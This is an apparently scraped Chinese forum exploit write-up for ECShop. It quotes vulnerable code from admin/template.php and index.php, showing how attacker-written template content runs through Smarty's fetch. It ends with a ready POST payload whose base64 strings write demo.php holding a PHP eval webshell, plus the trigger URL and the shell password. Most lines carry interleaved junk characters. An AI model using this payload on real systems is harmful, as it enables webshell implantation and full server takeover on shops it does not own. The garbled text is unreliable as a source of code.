首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. K8 I/ L1 x& l/ X) h+ f" J9 x# i. d4 r) T2 _& X
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了+ P5 v* u: t9 P" C
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* p5 y2 N1 x6 n- a* {
admin/template.php
9 l( U- U2 D O' u( C- a
& G3 C/ C; C2 d1 U! e- X1 if ($_REQUEST['act'] == 'update_library')
) Q: ~" y% \: y- x# u+ L& r" F6 l$ X% q0 Y g }4 [
2 / d# K |" S' Z% D3 |; E
* p& |0 s; h+ j! s! s
3 {
3 K A0 r6 }# | s+ U% d) [# V/ g3 c8 s# {' u
4 check_authz_json('library_manage');
/ ^# T" S( i, R0 z t% c. W* `. j2 Q% [
5
5 e, o4 Q/ y" ^6 J7 C% S- y7 ^2 p* f3 a J8 p! g
6 $html = stripslashes(json_str_iconv($_POST['html'])); ; r3 m$ ]& Y" I; b8 a+ \7 ]
+ z% A/ ?! y" F$ S+ |
7 1 E7 J* j& E; W& d
9 Z# Y. i8 P% I* S1 Q8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 : w3 v+ w ^8 p" ?4 ^
, p: B% z4 T; S9 % w( s5 v; t. T6 g( K4 s
0 A. `2 j# f1 d# w2 Y2 @
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
; U! @$ ^) g. A) a1 K0 ^. J6 `# D2 ]* ?5 E+ ^2 Z
11
1 T3 ^. L1 A/ F7 p/ J9 k( W+ ?
# C: r2 k7 q4 Q# s ~" h( n12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
$ b- c( r6 p M, r& l& V% |
; P/ c8 f5 B% s; H* Z& l13 + m# f- K% ]% d2 J
; E7 F8 R! F" o( S2 g3 M- R5 E
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
1 T) x T. i3 x2 s0 X% o3 Y1 _" e" l# M1 O) h2 I, q! F: P7 C
15 { + Z R& q7 `/ M5 R1 f3 k. [$ r _
, T4 |5 C: e, o3 p9 W
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
2 W$ g ]# f |- ]9 e+ A: p. ^: R5 M: I5 a5 Z/ Z
17 make_json_result('', $_LANG['update_lib_success']);
" _' V+ R- C! v, l4 M6 p8 Y, F1 K* i6 F* \9 W) T$ a# U
18 }
* t1 d& D) p3 x0 d( T9 R0 E) P v% y, K( d+ j
19 else
" j% C! E# {& ~" D5 N' N8 U, _, E& Z9 Y, ^" M
20 { 7 q& X5 i2 q/ Q' H7 B% M% b
9 \8 p- O+ b( j. w
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 2 l" B# ]# l. h( S! a
9 s$ s- R$ i! a' z, Y5 `! [+ E* I4 N22 } 1 S. {; b9 Z- J& h1 v! h ?
3 c! }! C- K2 T7 `8 Y8 e4 t, K23 } : t( w( x* I, Q2 a8 ^7 z
* Z3 f$ _# m$ \; D
那么找个比较方便调用了模板的文件5 N1 U) J0 K- r6 ~7 T& I% C8 v
index.php! F( T y9 }3 [- @0 \1 N" I6 m& O
) p, v# \$ r9 ]3 j. e* |1 if ($act == 'cat_rec') # r8 ^/ L. h5 Y9 B$ K
0 ]8 E; |- s7 ?. x3 y) }2 U
2 R1 `4 r2 F" O, q0 l& P
* z* x) V. c1 g9 _, W. D
3 { 0 ]/ w4 M2 t5 O2 x2 D
" V$ ?( g6 n/ X; n, ~4
, P" ~& B4 I9 p# H: i4 q8 E. u: s% b: }
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
8 K" R7 s8 E W* X: @& `3 y! ?& Q: c- t; t# r7 N& A
6
5 F+ t. }7 y0 q" y" \- E2 J% H: T, _/ _7 l0 d0 [4 E5 T
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
' X6 O& l) l' d! q
6 z2 ]- Z; A N/ l8
) M, g5 n- s( @$ L( w% h
) O: J* r8 k6 q; Y4 e- j9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; * y* U+ W R0 p: ]1 b% @) {
; D Z+ I4 c1 @" G( [8 b10
: U& l% P$ H" S1 h7 Y8 }& D" p' |- |9 f
11 include_once('includes/cls_json.php'); % x G. V# c6 c: K8 R- m7 Y# \
7 k: r8 Z+ u( J O0 C3 q5 e12 5 o @4 `6 f( x9 O5 ] k
6 ~: x3 Q' r u0 L( p9 B4 i2 b
13 $json = new JSON;
/ s7 {4 P" \! H# n, ]; a- t7 g3 R
14
O+ b% Z1 e$ J
. @+ J, G- A# ^% f9 ?& N- R# x15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); - f+ i: `, l& L- l+ f* \
) r4 H* e, x4 _; C; a( G; c+ t c
16 - s m3 V) b( S, q2 O( i
# s) I K' }. e7 {* t$ H% C2 ?17 $children = get_children($cat_id);
. y3 R( k1 C% X6 R# n3 ?$ j: `- t C: z" _
18
+ C. |9 e: _. l* a- q/ o& D+ {7 X
" [0 d$ g2 Q4 Y19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
- H& N5 O: w- j& V. J# b0 S- f0 V9 a- B k6 k" m
20 & {9 W M4 ~! V9 ~
8 o1 d5 v9 b7 u. s N$ E21 $smarty->assign('cat_rec_sign', 1); 7 s0 E5 `. u$ i
+ i" \! }# L* i/ V7 y$ s; [
22
4 z5 Q4 T& Z' S
1 E; h6 m! m, L8 h23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ! B4 V3 N. J ]! W1 P, A
5 ?7 I4 B/ ^3 z, E, X: B5 Q24 7 L" e l) H7 Y
" J% y3 Z. G: {1 L' N25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
: ?3 o( O, J4 y8 A
5 g# p, ]; D& K8 b26
0 R4 {" T! N2 h6 E5 K) S
7 F7 ?% c$ M+ N( N# a27 echo $rec_array[$rec_type]; 9 t2 Q8 R, A$ C. J3 l8 b4 O
) b' `+ V* n4 M- X0 Q28 / A; e2 c, G8 t; f, R' B0 }
+ ]/ s( f7 L( O" |
29 die($json->encode($result));
, R F/ p+ q6 a3 m
3 N6 Y2 o( ~' Z9 [& T30
# H! [8 y( j/ \* @- \6 @4 z1 N8 p% W+ X1 |$ n8 L4 e( S
31 }
K) Y9 e8 \. q. u3 p- ?$ i' I+ e! W& M
那么就有利用方法了, J+ Q% i6 M, b9 [
post包到http://localhost/ec/admin/template.php?act=update_library! T# N5 T: n: H. U _% f1 U; F& @
Post内容:
! {9 U' v% V, f# {# z/ @) Q; t8 b$ B1 w
3 K+ C' \& B. o$ c# w" y6 {6 a1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 9 n, Y8 m& n: O. J3 E9 i& J
7 O0 o4 p2 h- w' x4 ]! c然后访问http://localhost/ec/index.php?act=cat_rec Z% ?" j& f- [8 A9 p/ M* T' J
& n3 A5 `% K. V* d( Pshel地址:http://localhost/ec/demo.php
" W3 E6 b3 ]" A. }4 t9 [! b密码c
" s) L9 K( n& c- a$ e- B
2 t$ M. ~' O( w: R5 n4 v |